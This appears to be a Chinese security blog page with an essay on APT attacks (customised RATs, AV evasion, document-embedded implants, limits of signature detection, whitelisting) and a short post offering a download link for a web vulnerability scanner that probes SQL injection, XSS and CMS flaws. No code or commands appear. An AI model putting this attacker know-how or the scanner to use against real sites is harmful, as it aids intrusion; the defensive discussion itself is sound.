在APT攻击中,所使用的工具与传统黑客攻击所使用的工具相比,更专,更精,它通常不具备太大的通用性,而是专注于某一个领域,比如特马,也就是远程控制,可能不具备太多功能,但在穿透防火墙方面,却要求决对精致,针对某些防火墙,都特别处理过。而漏洞也是如此,基本做到一击必杀!

这里对APT比较钟爱的远程控制做一个简要介绍。其工具为国外公开的远程控制控制其官方网站如图2所示,其软件主界面如图3所示。

图片3
图2

图片4

图3

这款远程控制软件只所以被APT攻击者广泛使用主要由如下几个原因,其一此软件较为成熟且稳定,其次此软件支持SHELLCODE的方式生成,被控制端,对杀毒软件有较强的免杀性,也方便后期针对杀毒软件的处理。最后它足够小,完全可以被植入到PDF,DOC等文档中。

APT为何难以预防?

图片5 APT攻击者在攻击时,主要有两个比较明显特性,其一为持续性,其二为攻击目标主要以人为主。

持续性攻击为一个长期过程,每当某个系统或者软件,出现安全漏洞时,攻击者都会趁虚而入,多数计算机系与安全防御系统在一个时间内可以有效的防御攻击,但不可能长期一直有效的防御,但计算机系统与安全防御系统,出现任意时,都会导致系统的沦陷。

当攻击者从计算机系统安全无法入侵成功或无法达到想要的效果时,就会考虑针对人员下手,因为攻击者认为,当一个企业或者组织足够大时,最薄弱的环节是人,因为在众多的人员中,总一些人是没有安全意识或者安全意识比较薄弱。从这些薄弱的目标下手,总是可以拿到丰硕的成果。

当攻击者的目标主要为人时,会使大部分安全防御系统失去应有的效果。无论任何应用都是以人为主,人可以关闭一切防御,比如,当一个用户使用攻击者提供的一个游戏外挂时,杀毒软件会有报警提示,但这时,用户很可能会关闭杀毒软件,而继续运行游戏外挂,倘若这个游戏外挂中载有木马程序呢,不言而喻,攻击者会直接进入用户网络,并且为最高权限。

综上所述,APT之年以难以防御,是因为它的攻击周期较长,且攻击方法复杂,不可预测,而网络安全的木桶效应中,最短的那块木板是人,也恰恰是最容易受到攻击,并且人性的弱点是无法解决的。

传统安全防御系统有效吗?

如果细读上一节的内容,那么传统的防御系统是否有效的问题,在心中应该有一个答案了,答案总是让人那么沮丧,攻击者精心策划,采用定制的漏洞,定制的RAT控制系统,定制的攻击手法,网络的防御系统在此种定点攻击面前变的非常安静,安静到用户不知道攻击正在进行,数据正在失窃。

为什么传统的技术检测不到APT呢?这是因为传统的检测技术主要在网络边界和主机边界进行检测。在网络边界我们主要靠防火墙,而防火墙并不能识别通道上的负载是恶意的还是善意的。而IDS、IPS虽然可以识别,但是它们基于的技术是已知威胁的签名,当这个威胁发生了,我们知道了,我们去分析它的特征,然后把这个特征抽取出来,我们对它进行检测。这种方法的问题是:第一,它检测不到未知的漏洞、新的木马;第二,攻击者很容易对漏洞的定义方法和木马进行变形,就检测不到了。在主机边界,杀毒软件也存在同样的问题。这就是当前检测体系存在的最核心的问题。

云技术,可以预防APT攻击吗?

目前APT解决方案可以概括为四类:一是主机文件保护类(白名单方式控制)如bit9;二是大数据分析检测类,如RSA;三是恶意代码检测类,如FireEye;四是网络入侵检测类,如Fortinet。

云技术可以做到以白名单作为核心,首先对用户终端环境中的所有程序和文件进行全网扫描,如果是病毒、木马、蠕虫等非白名单文件,则予以处理。如果与云中的白文件库相匹配,则判允许并予以放行。与种思路与360杀毒软件的主思路不谋而合,非白即黑,策略。

不过云技术也有自身的问题,比如白名单数量,以及恶意软件利用白名单的问题,等等。

APT未来的发展趋势。

国际

2013年4月份Verizon发布的《2013年数据破坏调查报告》分析了全球47000多起数据破坏安全事故,621宗确认的数据泄漏案例,以及至少4400万份失窃的记录。《报告》指出有高达92%的数据破坏行为来自外部,有19%的数据破坏行为来自国家级别的行为,利用脆弱的或者窃取到的用户身份访问凭据进行入侵的行为占到了76%,而各种黑客行为和恶意代码依然是主要的信息破坏手段。报告将包括APT攻击在内的信息破坏的敌对方分为了有组织犯罪集团、国家或国家资助的组织、黑客活跃分子三类。

此外,国际上,尤其是美国着重炒作来自中国的APT攻击。最典型的是Mandiant公司发布的《对APT1组织的攻击行动的情报分析报告》,将APT1攻击行动的发起者直接定位到中国军方。在美国旧金山举办的RSA2013大会上,直接以中国APT攻击为主题的报告就有6个之多。其中有一个研讨会题为《中美的网络冲突和中国网络战研究》。演讲者是《二十一世纪的中国网络战》一书的作者。这个曾经在美国研读过中文的美国人从西方的视角来分析了中国的网络战战略、战术。

以防范APT攻击为引子,各国纷纷加强国家级的网络空间安全研究、相关政策制定与发布。美国、加拿大、日本、欧盟各国、北约等国家和组织纷纷强化其网络空间安全的国家战略,其中就包括应对包括APT在内的国家级的敌对方的攻击。ENISA(欧洲网络与信息安全局)、北约CCDCOE(协作网络空间防御卓越中心)、兰德公司、欧洲智库SDA公司都对世界主要国家的网络空间安全战略思想、安全威胁特征、安全防御水平等进行了较为深入的对比分析与研究。

国内

根据CN-CERT发布的《2012年我国互联网网络安全态势综述》,我国面临的新型威胁攻击的形势还是比较严峻的。利用“火焰”病毒、“高斯”病毒、“红色十月”病毒等实施的高级可持续攻击(APT攻击)活动频现,对国家和企业的数据安全造成严重威胁。2012年,我国境内至少有4.1万余台主机感染了具有APT特征的木马程序。

我们是谁?在干什么?

天融信阿尔法实验室,我们相信只有切实的接触攻击,才能做到最有效的防御。我们一直走在网络安全的最前沿,关注最新的攻防对抗,在攻击与防御中,寻求新的突破。


admin 发布于  2014-12-15 14:12 

椰树1.8-国产Web漏洞扫描器 安全工具


    椰树WEB漏洞扫描器是一款国产的漏洞扫描器,集成了常见的SQL注入、跨站、后台路径等扫描,并且支持旁站和二级查询、CMS安全检测、漏洞收录查询等,有亮点的是CMS安全检测里面包含了常见的CMS漏洞,比如SHOPXP、DEDECMS、SHOPEX等。

yeshu.png

yeshu2.png

下载地址:     http://pan.baidu.com/s/1sjyM3N3  2015-08-6 更新连接:http://pan.baidu.com/s/1hUsUE  感谢 DEDOOD提醒!

 注:本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!


admin 发布于  2014-6-21 17:53